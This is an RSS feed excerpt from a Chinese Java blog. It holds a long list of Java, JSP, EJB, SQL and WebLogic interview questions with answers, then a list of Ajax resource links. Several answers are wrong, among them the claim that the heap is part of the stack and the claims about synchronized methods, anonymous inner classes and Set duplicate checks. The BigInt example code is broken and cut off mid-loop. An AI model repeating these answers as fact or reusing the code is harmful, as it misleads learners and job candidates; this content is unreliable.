final成员变量。接口的实现与子类相似，除了该实现类不能从接口定义中继承行为。当类实现特殊接口时，它定义（即将程序体给予）所有这种接口的方法。然后，它可以在实现了该接口的类的任何对象上调用接口的方法。由于有抽象类，它允许使用接口名作为引用变量的类型。通常的动态联编将生效。引用可以转换到接口类型或从接口类型转换，instanceof 运算符可以用来决定某对象的类是否实现了接口。 <br /><br /><br /><br /><br /><br />31，abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized? <br /><br />　　都不能 <br /><br />32，接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)? <br /><br />　　接口可以继承接口。抽象类可以实现(implements)接口，抽象类是否可继承实体类，但前提是实体类必须有明确的构造函数。 <br /><br />33，启动一个线程是用run()还是start()? <br /><br />　　启动一个线程是调用start()方法，使线程所代表的虚拟处理机处于可运行状态，这意味着它可以由JVM调度并执行。这并不意味着线程就会立即运行。run()方法可以产生必须退出的标志来停止一个线程。 <br /><br />34，构造器Constructor是否可被override? <br /><br />　　构造器Constructor不能被继承，因此不能重写Overriding，但可以被重载Overloading。 <br /><br />35，是否可以继承String类? <br /><br />　　String类是final类故不可以继承。 <br /><br />36，当一个线程进入一个对象的一个synchronized方法后，其它线程是否可进入此对象的其它方法? <br /><br />　　不能，一个对象的一个synchronized方法只能由一个线程访问。 <br /><br />37，try {}里有一个return语句，那么紧跟在这个try后的finally {}里的code会不会被执行，什么时候被执行，在return前还是后? <br /><br />　　会执行，在return前执行。 <br /><br />38，编程题: 用最有效率的方法算出2乘以8等於几? <br /><br />　　有C背景的程序员特别喜欢问这种问题。 <br /><br />　　2 &lt;&lt; 3 <br /><br />39，两个对象值相同(x.equals(y) == true)，但却可有不同的hash code，这句话对不对? <br /><br />　　不对，有相同的hash code。 <br /><br />40，当一个对象被当作参数传递到一个方法后，此方法可改变这个对象的属性，并可返回变化后的结果，那么这里到底是值传递还是引用传递? <br /><br />　　是值传递。Java 编程语言只由值传递参数。当一个对象实例作为一个参数被传递到方法中时，参数的值就是对该对象的引用。对象的内容可以在被调用的方法中改变，但对象的引用是永远不会改变的。 <br /><br />41，swtich是否能作用在byte上，是否能作用在long上，是否能作用在String上? <br /><br />　　switch（expr1）中，expr1是一个整数表达式。因此传递给 switch 和 case 语句的参数应该是 int、 short、 char 或者 byte。long,string 都不能作用于swtich。 <br /><br />42，编程题: 写一个Singleton出来。 <br /><br />　　Singleton模式主要作用是保证在Java应用程序中，一个类Class只有一个实例存在。 <br /><br />　　一般Singleton模式通常有几种种形式： <br /><br />　　第一种形式：定义一个类，它的构造函数为private的，它有一个static的private的该类变量，在类初始化时实例话，通过一个public的getInstance方法获取对它的引用,继而调用其中的方法。 <br /><br />public class Singleton { <br /><br />　　private Singleton(){} <br /><br />　　//在自己内部定义自己一个实例，是不是很奇怪？ <br /><br />　　//注意这是private 只供内部调用 <br /><br />　　private static Singleton instance = new Singleton(); <br /><br />　　//这里提供了一个供外部访问本class的静态方法，可以直接访问　　 <br /><br />　　public static Singleton getInstance() { <br /><br />　　　　return instance; 　　 <br /><br />　　 } <br /><br />} <br /><br /><br /><br />　　第二种形式： <br /><br />public class Singleton { <br /><br />　　private static Singleton instance = null; <br /><br />　　public static synchronized Singleton getInstance() { <br /><br />　　//这个方法比上面有所改进，不用每次都进行生成对象，只是第一次　　　 　 <br /><br />　　//使用时生成实例，提高了效率！ <br /><br />　　if (instance==null) <br /><br />　　　　instance＝new Singleton(); <br /><br />return instance; 　　} <br /><br />} <br /><br />其他形式： <br /><br />　　定义一个类，它的构造函数为private的，所有方法为static的。 <br /><br />　　一般认为第一种形式要更加安全些 <br /><br />　　Hashtable和HashMap <br /><br />　　Hashtable继承自Dictionary类，而HashMap是Java1.2引进的Map interface的一个实现 <br /><br />　　HashMap允许将null作为一个entry的key或者value，而Hashtable不允许 <br /><br />　　还有就是，HashMap把Hashtable的contains方法去掉了，改成containsvalue和containsKey。因为contains方法容易让人引起误解。 <br /><br />　　最大的不同是，Hashtable的方法是Synchronize的，而HashMap不是，在 <br /><br />多个线程访问Hashtable时，不需要自己为它的方法实现同步，而HashMap <br /><br />就必须为之提供外同步。 <br /><br />Hashtable和HashMap采用的hash/rehash算法都大概一样，所以性能不会有很大的差异。 <br /><br />43.描述一下JVM加载class文件的原理机制? <br /><br />44.试举例说明一个典型的垃圾回收算法？ <br /><br />45.请用java写二叉树算法，实现添加数据形成二叉树功能，并以先序的方式打印出来. <br /><br />46.请写一个java程序实现线程连接池功能？ <br /><br />47.给定一个C语言函数，要求实现在java类中进行调用。 <br /><br />48、编一段代码，实现在控制台输入一组数字后，排序后在控制台输出； <br /><br />49、列出某文件夹下的所有文件； <br /><br />50、调用系统命令实现删除文件的操作； <br /><br />51、实现从文件中一次读出一个字符的操作； <br /><br />52、列出一些控制流程的方法； <br /><br />53、多线程有哪些状态？ <br /><br />54、编写了一个服务器端的程序实现在客户端输入字符然后在控制台上显示，直到输入"END"为止，让你写出客户端的程序； <br /><br />55、作用域public,private,protected,以及不写时的区别<br /><br />JAVA面试题集 <br />基础知识： <br />1.C++或Java中的异常处理机制的简单原理和应用。 <br /><br />当JAVA程序违反了JAVA的语义规则时，JAVA虚拟机就会将发生的错误表示为一个异常。违反语义规则包括2种情况。一种是JAVA类库内置的语义检查。例如数组下标越界,会引发IndexOutOfBoundsException;访问null的对象时会引发NullPointerException。另一种情况就是JAVA允许程序员扩展这种语义检查，程序员可以创建自己的异常，并自由选择在何时用throw关键字引发异常。所有的异常都是java.lang.Thowable的子类。 <br /><br />2. Java的接口和C++的虚类的相同和不同处。 <br /><br />由于Java不支持多继承，而有可能某个类或对象要使用分别在几个类或对象里面的方法或属性，现有的单继承机制就不能满足要求。与继承相比，接口有更高的灵活性，因为接口中没有任何实现代码。当一个类实现了接口以后，该类要实现接口里面所有的方法和属性，并且接口里面的属性在默认状态下面都是public static,所有方法默认情况下是public.一个类可以实现多个接口。 <br /><br />3. 垃圾回收的优点和原理。并考虑2种回收机制。 <br /><br />Java语言中一个显著的特点就是引入了垃圾回收机制，使c++程序员最头疼的内存管理的问题迎刃而解，它使得Java程序员在编写程序的时候不再需要考虑内存管理。由于有个垃圾回收机制，Java中的对象不再有“作用域”的概念，只有对象的引用才有“作用域”。垃圾回收可以有效的防止内存泄露，有效的使用可以使用的内存。垃圾回收器通常是作为一个单独的低级别的线程运行，不可预知的情况下对内存堆中已经死亡的或者长时间没有使用的对象进行清楚和回收，程序员不能实时的调用垃圾回收器对某个对象或所有对象进行垃圾回收。回收机制有分代复制垃圾回收和标记垃圾回收，增量垃圾回收。 <br /><br />4. 请说出你所知道的线程同步的方法。 <br /><br />wait():使一个线程处于等待状态，并且释放所持有的对象的lock。 <br /><br />sleep():使一个正在运行的线程处于睡眠状态，是一个静态方法，调用此方法要捕捉InterruptedException异常。 <br /><br />notify():唤醒一个处于等待状态的线程，注意的是在调用此方法的时候，并不能确切的唤醒某一个等待状态的线程，而是由JVM确定唤醒哪个线程，而且不是按优先级。 <br /><br />Allnotity():唤醒所有处入等待状态的线程，注意并不是给所有唤醒线程一个对象的锁，而是让它们竞争。 <br /><br />5. 请讲一讲析构函数和虚函数的用法和作用。 <br /><br />6. Error与Exception有什么区别？ <br /><br />Error表示系统级的错误和程序不必处理的异常， <br /><br />Exception表示需要捕捉或者需要程序进行处理的异常。 <br /><br />7. 在java中一个类被声明为final类型，表示了什么意思？ <br /><br />表示该类不能被继承，是顶级类。 <br /><br />8. 描述一下你最常用的编程风格。 <br /><br />9. heap和stack有什么区别。 <br /><br />栈是一种线形集合，其添加和删除元素的操作应在同一段完成。栈按照后进先出的方式进行处理。 <br /><br />堆是栈的一个组成元素 <br /><br />10. 如果系统要使用超大整数（超过long长度范围），请你设计一个数据结构来存储这种超大型数字以及设计一种算法来实现超大整数加法运算）。 <br /><br />public class BigInt() <br /><br />{ <br /><br />int[] ArrOne = new ArrOne[1000]; <br /><br />String intString=""; <br /><br />public int[] Arr(String s) <br /><br />{ <br /><br />intString = s; <br /><br />for(int i=0;i&lt;ArrOne.leght;i++) <br /><br />{ <br /><br />11. 如果要设计一个图形系统，请你设计基本的图形元件(Point,Line,Rectangle,Triangle)的简单实现 <br /><br />12，谈谈final, finally, finalize的区别。 <br /><br />　　final?修饰符（关键字）如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为 abstract的，又被声明为final的。将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能读取，不可修改。被声明为final的方法也同样只能使用，不能重载。 <br /><br />　　finally?再异常处理时提供 finally 块来执行任何清除操作。如果抛出一个异常，那么相匹配的 catch 子句就会执行，然后控制就会进入 finally 块（如果有的话）。 <br /><br />　　finalize?方法名。Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。这个方法是由垃圾收集器在确定这个对象没有被引用时对这个对象调用的。它是在 Object 类中定义的，因此所有的类都继承了它。子类覆盖 finalize() 方法以整理系统资源或者执行其他清理工作。finalize() 方法是在垃圾收集器删除对象之前对这个对象调用的。 <br /><br />13，Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)? <br /><br />　　匿名的内部类是没有名字的内部类。不能extends(继承) 其它类，但一个内部类可以作为一个接口，由另一个内部类实现。 <br /><br /><br /><br />14，Static Nested Class 和 Inner Class的不同，说得越多越好(面试题有的很笼统)。 <br /><br />　　Nested Class （一般是C++的说法），Inner Class (一般是JAVA的说法)。Java内部类与C++嵌套类最大的不同就在于是否有指向外部的引用上。具体可见http: //www.frontfree.net/articles/services/view.asp?id=704&amp;page=1 <br /><br />　　注： 静态内部类（Inner Class）意味着1创建一个static内部类的对象，不需要一个外部类对象，2不能从一个static内部类的一个对象访问一个外部类对象 <br /><br />第四，&amp;和&amp;&amp;的区别。 <br /><br />　　&amp;是位运算符。&amp;&amp;是布尔逻辑运算符。 <br /><br />15，HashMap和Hashtable的区别。 <br /><br /><br /><br />　　都属于Map接口的类，实现了将惟一键映射到特定的值上。 <br /><br /><br /><br />　　HashMap 类没有分类或者排序。它允许一个 null 键和多个 null 值。 <br /><br />　　Hashtable 类似于 HashMap，但是不允许 null 键和 null 值。它也比 HashMap 慢，因为它是同步的。 <br /><br />16，Collection 和 Collections的区别。 <br /><br />　　Collections是个java.util下的类，它包含有各种有关集合操作的静态方法。 <br /><br />　　Collection是个java.util下的接口，它是各种集合结构的父接口。 <br /><br />17，什么时候用assert。 <br /><br />　　断言是一个包含布尔表达式的语句，在执行这个语句时假定该表达式为 true。如果表达式计算为 false，那么系统会报告一个 Assertionerror。它用于调试目的： <br /><br />assert(a &gt; 0); // throws an Assertionerror if a &lt;= 0 <br /><br />断言可以有两种形式： <br /><br />assert Expression1 ; <br /><br />assert Expression1 : Expression2 ; <br /><br />　　Expression1 应该总是产生一个布尔值。 <br /><br />　　Expression2 可以是得出一个值的任意表达式。这个值用于生成显示更多调试信息的 String 消息。 <br /><br />　　断言在默认情况下是禁用的。要在编译时启用断言，需要使用 source 1.4 标记： <br /><br />　　javac -source 1.4 Test.java <br /><br />　　要在运行时启用断言，可使用 -enableassertions 或者 -ea 标记。 <br /><br />　　要在运行时选择禁用断言，可使用 -da 或者 -disableassertions 标记。 <br /><br />　　要系统类中启用断言，可使用 -esa 或者 -dsa 标记。还可以在包的基础上启用或者禁用断言。 <br /><br />　　可以在预计正常情况下不会到达的任何位置上放置断言。断言可以用于验证传递给私有方法的参数。不过，断言不应该用于验证传递给公有方法的参数，因为不管是否启用了断言，公有方法都必须检查其参数。不过，既可以在公有方法中，也可以在非公有方法中利用断言测试后置条件。另外，断言不应该以任何方式改变程序的状态。 <br /><br />18，GC是什么? 为什么要有GC? (基础)。 <br /><br />　　GC是垃圾收集器。Java 程序员不用担心内存管理，因为垃圾收集器会自动进行管理。要请求垃圾收集，可以调用下面的方法之一： <br /><br />System.gc() <br /><br />Runtime.getRuntime().gc() <br /><br />19，String s = new String("xyz");创建了几个String Object? <br /><br />　　两个对象，一个是“xyx”,一个是指向“xyx”的引用对象s。 <br /><br />20，Math.round(11.5)等於多少? Math.round(-11.5)等於多少? <br /><br />　　Math.round(11.5)返回（long）12，Math.round(-11.5)返回（long）-11; <br /><br />21，short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错? <br /><br />　　short s1 = 1; s1 = s1 + 1;有错，s1是short型，s1+1是int型,不能显式转化为short型。可修改为s1 =(short)(s1 + 1) 。short s1 = 1; s1 += 1正确。 <br /><br />22，sleep() 和 wait() 有什么区别? 搞线程的最爱 <br /><br />　　sleep()方法是使线程停止一段时间的方法。在sleep 时间间隔期满后，线程不一定立即恢复执行。这是因为在那个时刻，其它线程可能正在运行而且没有被调度为放弃执行，除非(a)“醒来”的线程具有更高的优先级 (b)正在运行的线程因为其它原因而阻塞。 <br /><br />　　wait()是线程交互时，如果线程对一个同步对象x 发出一个wait()调用，该线程会暂停执行，被调对象进入等待状态，直到被唤醒或等待时间到。 <br /><br />23，Java有没有goto? <br /><br />　　Goto?java中的保留字，现在没有在java中使用。 <br /><br /><br /><br />24，数组有没有length()这个方法? String有没有length()这个方法？ <br /><br />　　数组没有length()这个方法，有length的属性。 <br /><br />　　String有有length()这个方法。 <br /><br />25，Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型? <br /><br />　　方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现，重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数，我们说该方法被重写 (Overriding)。子类的对象使用这个方法时，将调用子类中的定义，对它而言，父类中的定义如同被“屏蔽”了。如果在一个类中定义了多个同名的方法，它们或有不同的参数个数或有不同的参数类型，则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型。 <br /><br />26，Set里的元素是不能重复的，那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别? <br /><br />　　Set里的元素是不能重复的，那么用iterator()方法来区分重复与否。equals()是判读两个Set是否相等。 <br /><br />　　equals()和==方法决定引用值是否指向同一对象equals()在类中被覆盖，为的是当两个分离的对象的内容和类型相配的话，返回真值。<br /><br />16应用服务器有那些？ <br /><br /><br /><br />17你所知道的集合类都有哪些？主要方法？ <br /><br /><br /><br />18给你一个:驱动程序A,数据源名称为B,用户名称为C,密码为D,数据库表为T，请用JDBC检索出表T的所有数据。 <br /><br /><br /><br />19．说出在JSP页面里是怎么分页的? <br /><br />页面需要保存以下参数： <br /><br />总行数：根据sql语句得到总行数 <br /><br />每页显示行数：设定值 <br /><br />当前页数：请求参数 <br /><br />页面根据当前页数和每页行数计算出当前页第一行行数，定位结果集到此行，对结果集取出每页显示行数的行即可。 <br /><br /><br /><br /><br /><br />数据库方面： <br /><br /><br /><br />1. 存储过程和函数的区别 <br /><br />存储过程是用户定义的一系列sql语句的集合，涉及特定表或其它对象的任务，用户可以调用存储过程，而函数通常是数据库已定义的方法，它接收参数并返回某种类型的值并且不涉及特定用户表。 <br /><br />2. 事务是什么？ <br /><br />事务是作为一个逻辑单元执行的一系列操作，一个逻辑工作单元必须有四个属性，称为 ACID（原子性、一致性、隔离性和持久性）属性，只有这样才能成为一个事务： <br /><br />原子性 <br /><br />事务必须是原子工作单元；对于其数据修改，要么全都执行，要么全都不执行。 <br /><br />一致性 <br /><br />事务在完成时，必须使所有的数据都保持一致状态。在相关数据库中，所有规则都必须应用于事务的修改，以保持所有数据的完整性。事务结束时，所有的内部数据结构（如 B 树索引或双向链表）都必须是正确的。 <br /><br />隔离性 <br /><br />由并发事务所作的修改必须与任何其它并发事务所作的修改隔离。事务查看数据时数据所处的状态，要么是另一并发事务修改它之前的状态，要么是另一事务修改它之后的状态，事务不会查看中间状态的数据。这称为可串行性，因为它能够重新装载起始数据，并且重播一系列事务，以使数据结束时的状态与原始事务执行的状态相同。 <br /><br />持久性 <br /><br />事务完成之后，它对于系统的影响是永久性的。该修改即使出现系统故障也将一直保持。 <br /><br /><br /><br />3. 游标的作用？如何知道游标已经到了最后？ <br /><br />游标用于定位结果集的行，通过判断全局变量@@FETCH_STATUS可以判断是否到了最后，通常此变量不等于0表示出错或到了最后。 <br /><br />4. 触发器分为事前触发和事后触发，这两种触发有和区别。语句级触发和行级触发有何区别。 <br /><br />事前触发器运行于触发事件发生之前，而事后触发器运行于触发事件发生之后。通常事前触发器可以获取事件之前和新的字段值。 <br /><br />语句级触发器可以在语句执行前或后执行，而行级触发在触发器所影响的每一行触发一次。 <br /><br /><br /><br /><br /><br />中远面试题 <br /><br />1、面向对象的三个基本特征 <br /><br />2、方法重载和方法重写的概念和区别 <br /><br />3、接口和内部类、抽象类的特性 <br /><br />4、文件读写的基本类 <br /><br />**5、串行化的注意事项以及如何实现串行化 <br /><br />6、线程的基本概念、线程的基本状态以及状态之间的关系 <br /><br />7、线程的同步、如何实现线程的同步 <br /><br />8、几种常用的数据结构及内部实现原理。 <br /><br />9、Socket通信(TCP、UDP区别及Java实现方式) <br /><br />**10、Java的事件委托机制和垃圾回收机制 <br /><br />11、JDBC调用数据库的基本步骤 <br /><br />**12、解析XML文件的几种方式和区别 <br /><br />13、Java四种基本权限的定义 <br /><br />14、Java的国际化 <br /><br />二、JSP <br />1、至少要能说出7个隐含对象以及他们的区别 <br /><br />** 2、forward 和redirect的区别 <br /><br />3、JSP的常用指令 <br /><br />三、servlet <br />1、什么情况下调用doGet()和doPost()？ <br /><br />2、servlet的init()方法和service()方法的区别 <br /><br />3、servlet的生命周期 <br /><br />4、如何现实servlet的单线程模式 <br /><br />5、servlet的配置 <br /><br />6、四种会话跟踪技术 <br /><br />四、EJB <br />**1、EJB容器提供的服务 <br /><br />主要提供声明周期管理、代码产生、持续性管理、安全、事务管理、锁和并发行管理等服务。 <br /><br />2、EJB的角色和三个对象 <br /><br />EJB角色主要包括Bean开发者 应用组装者 部署者 系统管理员 EJB容器提供者 EJB服务器提供者 <br /><br />三个对象是Remote（Local）接口、Home（LocalHome）接口，Bean类 <br /><br />2、EJB的几种类型 <br /><br />会话（Session）Bean ，实体（Entity）Bean 消息驱动的（Message Driven）Bean <br /><br />会话Bean又可分为有状态（Stateful）和无状态（Stateless）两种 <br /><br />实体Bean可分为Bean管理的持续性（BMP）和容器管理的持续性（CMP）两种 <br /><br />3、bean 实例的生命周期 <br /><br />对于Stateless Session Bean、Entity Bean、Message Driven Bean一般存在缓冲池管理，而对于Entity Bean和Statefull Session Bean存在Cache管理，通常包含创建实例，设置上下文、创建EJB Object（create）、业务方法调用、remove等过程，对于存在缓冲池管理的Bean，在create之后实例并不从内存清除，而是采用缓冲池调度机制不断重用实例，而对于存在Cache管理的Bean则通过激活和去激活机制保持Bean的状态并限制内存中实例数量。 <br /><br />4、激活机制 <br /><br />以Statefull Session Bean 为例：其Cache大小决定了内存中可以同时存在的Bean实例的数量，根据MRU或NRU算法，实例在激活和去激活状态之间迁移，激活机制是当客户端调用某个EJB实例业务方法时，如果对应EJB Object发现自己没有绑定对应的Bean实例则从其去激活Bean存储中（通过序列化机制存储实例）回复（激活）此实例。状态变迁前会调用对应的ejbActive和ejbPassivate方法。 <br /><br />5、remote接口和home接口主要作用 <br /><br />remote接口定义了业务方法，用于EJB客户端调用业务方法 <br /><br />home接口是EJB工厂用于创建和移除查找EJB实例 <br /><br />6、客服端调用EJB对象的几个基本步骤 <br /><br />一、 设置JNDI服务工厂以及JNDI服务地址系统属性 <br /><br />二、 查找Home接口 <br /><br />三、 从Home接口调用Create方法创建Remote接口 <br /><br />四、 通过Remote接口调用其业务方法 <br /><br />五、数据库 <br />1、存储过程的编写 <br /><br />2、基本的SQL语句 <br /><br />六、weblogic <br />1、 如何给weblogic指定大小的内存? <br /><br />在启动Weblogic的脚本中（位于所在Domian对应服务器目录下的startServerName），增加set MEM_ARGS=-Xms32m -Xmx200m，可以调整最小内存为32M，最大200M <br /><br />2、 如何设定的weblogic的热启动模式(开发模式)与产品发布模式? <br /><br />可以在管理控制台中修改对应服务器的启动模式为开发或产品模式之一。或者修改服务的启动文件或者commenv文件，增加set PRODUCTION_MODE=true。 <br /><br />3、 如何启动时不需输入用户名与密码? <br /><br />修改服务启动文件，增加 WLS_USER和WLS_PW项。也可以在boot.properties文件中增加加密过的用户名和密码. <br /><br />4、 在weblogic管理制台中对一个应用域(或者说是一个网站,Domain)进行jms及ejb或连接池等相关信息进行配置后,实际保存在什么文件中? <br /><br />保存在此Domain的config.xml文件中，它是服务器的核心配置文件。 <br /><br />5、 说说weblogic中一个Domain的缺省目录结构?比如要将一个简单的helloWorld.jsp放入何目录下,然的在浏览器上就可打入http://主机:端口号//helloword.jsp就可以看到运行结果了? 又比如这其中用到了一个自己写的javaBean该如何办? <br /><br />Domain目录\服务器目录\applications，将应用目录放在此目录下将可以作为应用访问，如果是Web应用，应用目录需要满足Web应用目录要求，jsp文件可以直接放在应用目录中，Javabean需要放在应用目录的WEB-INF目录的classes目录中，设置服务器的缺省应用将可以实现在浏览器上无需输入应用名。 <br /><br />6、 如何查看在weblogic中已经发布的EJB? <br /><br />可以使用管理控制台，在它的Deployment中可以查看所有已发布的EJB <br /><br />7、 如何在weblogic中进行ssl配置与客户端的认证配置或说说j2ee(标准)进行ssl的配置 <br /><br />缺省安装中使用DemoIdentity.jks和DemoTrust.jks KeyStore实现SSL，需要配置服务器使用Enable SSL，配置其端口，在产品模式下需要从CA获取私有密钥和数字证书，创建identity和trust keystore，装载获得的密钥和数字证书。可以配置此SSL连接是单向还是双向的。 <br /><br />8、在weblogic中发布ejb需涉及到哪些配置文件 <br /><br />不同类型的EJB涉及的配置文件不同，都涉及到的配置文件包括ejb-jar.xml,weblogic-ejb-jar.xmlCMP实体Bean一般还需要weblogic-cmp-rdbms-jar.xml <br /><br />9、EJB需直接实现它的业务接口或Home接口吗,请简述理由. <br /><br />远程接口和Home接口不需要直接实现，他们的实现代码是由服务器产生的，程序运行中对应实现类会作为对应接口类型的实例被使用。 <br /><br />10、说说在weblogic中开发消息Bean时的persistent与non-persisten的差别 <br /><br />persistent方式的MDB可以保证消息传递的可靠性,也就是如果EJB容器出现问题而JMS服务器依然会将消息在此MDB可用的时候发送过来，而non－persistent方式的消息将被丢弃。 <br /><br />11、说说你所熟悉或听说过的j2ee中的几种常用模式?及对设计模式的一些看法 <br /><br />Session Facade Pattern：使用SessionBean访问EntityBean <br /><br />Message Facade Pattern：实现异步调用 <br /><br />EJB Command Pattern：使用Command JavaBeans取代SessionBean，实现轻量级访问 <br /><br />Data Transfer Object Factory：通过DTO Factory简化EntityBean数据提供特性 <br /><br />Generic Attribute Access：通过AttibuteAccess接口简化EntityBean数据提供特性 <br /><br />Business Interface：通过远程（本地）接口和Bean类实现相同接口规范业务逻辑一致性 <br /><br />ＥＪＢ架构的设计好坏将直接影响系统的性能、可扩展性、可维护性、组件可重用性及开发效率。项目越复杂，项目队伍越庞大则越能体现良好设计的重要性<img src ="http://www.blogjava.net/songfei/aggbug/49722.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-01 17:19 <a href="http://www.blogjava.net/songfei/articles/49722.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ajax资源类网站</title><link>http://www.blogjava.net/songfei/articles/47650.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Tue, 23 May 2006 07:20:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/47650.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/47650.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/47650.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/47650.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/47650.html</trackback:ping><description><![CDATA[
		<table width="98%" border="0">
				<tbody>
						<tr>
								<td class="text" align="left" width="100%">
										<br />
										<img height="20" alt="[:E]" src="http://www.javaresearch.org/faces/13.gif" width="20" border="0" />
										<img height="20" alt="[:E]" src="http://www.javaresearch.org/faces/13.gif" width="20" border="0" />
										<img height="20" alt="[good]" src="http://www.javaresearch.org/faces/76.gif" width="20" border="0" />
										<img height="20" alt="[good]" src="http://www.javaresearch.org/faces/76.gif" width="20" border="0" />
										<br />
										<br />一.资源类网站<br /><br />1,国内网站<br />1)Ajax中国(推荐)<br />一个专业的ajax技术网站,分类清晰,有大量的电子版教程,以及AJAX源码下载!<br />www.okajax.com<br /><br />2)ajaxcn.org<br />李琨老师的blog。李琨:《ajax实战》译者.<br />www.ajaxcn.org<br />-----------------------------------------<br />2,国外网站<br />1)、Ajax 的诞生<br />Ajax: A New Approach to Web Applications<br />www.adaptivepath.com/publications/essays/archives/000385.php<br /><br />2)、AJAX Matters<br />www.ajaxmatters.com<br />关于 Ajax 技术一个信息量非常大的网站，有点像 Ajax 世界中的 TSS。<br /><br />3)、AJAX Patterns<br />与 AJAX 设计模式相关的资源。<br />www.ajaxpatterns.org<br />www.softwareas.com/ajax-patterns<br /><br />4)、<a href="http://www.ajaxian.com/">http://www.ajaxian.com</a><br /><br />--------------------------------------------------------------------------------<br /><br />二.热门文章<br /><br />1.什么是AJAX<br />www.okajax.com/info/net/20060510.html<br /><br />2.ajax技术简介<br />www.okajax.com/info/basic/200604654.html<br /><br />3.ajax.net<br />www.okajax.com/info/basic/200604556.html<br />www.okajax.com/info/tech/200605589.html<br />weblogs.asp.net/mschwarz/archive/2005/04/11/399893.aspx(英文)<br /><br />--------------------------------------------------------------------------------<br /><br />三.ajax相关下载（电子书教程/源码）<br /><br />1.Ajax基础教程电子版<br />www.okajax.com/info/bookdown/200604950.htm<br /><br />2.《AJAX实战》ajax in action电子版<br />www.okajax.com/info/bookdown/200604366.htm<br /><br />3.AJAX开发简略<br />www.okajax.com/info/bookdown/20060538.htm<br /><br />4.AJAX版CD管理系统 (jsp)<br />www.okajax.com/info/codedown/200604327.htm<br /><br />5.Alexa 查询系统 (Xmlhttp + Ajax)<br />www.okajax.com/info/codedown/200604982.htm<br /><br />6.ASP.NET+AJAX解决网页打开等待问题<br />www.okajax.com/info/codedown/200604166.htm<br /><br />7.Ajax技术简介 (ajax demo)<br />www.okajax.com/info/codedown/200604576.htm<br /><br />--------------------------------------------------------------------------------<br /><br />四.ajax相关图书<br /><br />1.《Ajax实战》(目前Ajax领域最为全面深入的一本著作)<br />www.china-pub.com/computers/common/info.asp?id=28433<br /><br />2.《Ajax基础教程》（亚马逊计算机榜首图书，国内第1本Ajax图书）<br />www.china-pub.com/computers/common/info.asp?id=28432<br /><br />3.《Ajax 修炼之道-Web 2.0 入门》（Ajax从小工到专家的首选图书）<br />www.china-pub.com/computers/common/info.asp?id=29430<br /><br />4.《征服Ajax+Lucene构建搜索引擎》<br />www.china-pub.com/computers/common/info.asp?id=29996<br /><br />5.《征服Ajax--Web 2.0快速入门与项目实践（.net）》<br />www.china-pub.com/computers/common/info.asp?id=29995<br /><br />6.《Ajax开发精要--概念、案例与框架》<br />www.china-pub.com/computers/common/info.asp?id=30006<br /><br />--------------------------------------------------------------------------------<br /><br />五.部分技术文章<br /><br />www.dragonson.com/doc/ajax.html<br />Ajax内部交流文档<br /><br />info96.k12studio.com/~nio/comments.php?id=242_0_1_0_C<br />简单地对 Ajax 进行描述介绍<br /><br />www.adaptivepath.com/publications/essays/archives/000385.php<br />Ajax: A New Approach to Web Applications<br /><br />jibbering.com/2002/4/httprequest.html<br />Using the XML HTTP Request object<br /><br />developer.apple.com/internet/webcontent/xmlhttpreq.html<br />Dynamic HTML and XML: The XMLHttpRequest Object<br /><br />del.icio.us/popular/ajax<br /><br />www.fiftyfoureleven.com/resources/programming/xmlhttprequest/examples<br />XMLHttpRequest &amp; Ajax Working Examples<br /><br />www.xml.com/lpt/a/2005/02/09/xml-http-request.html<br />Very Dynamic Web Interfaces<br /><br />www.standards-schmandards.com/index.php?2005/03/01/16-ajax-and-accessibility<br />AJAX and Accessibility<br /><br />www.xml.com/lpt/a/2005/05/11/ajax-error.html<br />Errors and AJAX<br /><br />www.softwareas.com/ajax-patterns<br />AJAX Patterns: Design Patterns for AJAX Usability<br /><br />www.backbase.com/download/Whitepaper%20Backbase%20AJAX%20and%20Beyond.pdf<br />Whitepaper Backbase AJAX and Beyond<br /><br />www.ajaxpatterns.org/index.php?title=Main_Page<br />AJAX patterns<br /><br />www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html<br /><br />来源：经典论坛<br /><br /><br /></td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/songfei/aggbug/47650.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-05-23 15:20 <a href="http://www.blogjava.net/songfei/articles/47650.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 家庭任务</title><link>http://www.blogjava.net/songfei/articles/32198.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Thu, 23 Feb 2006 12:49:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/32198.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/32198.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/32198.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/32198.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/32198.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR><FONT 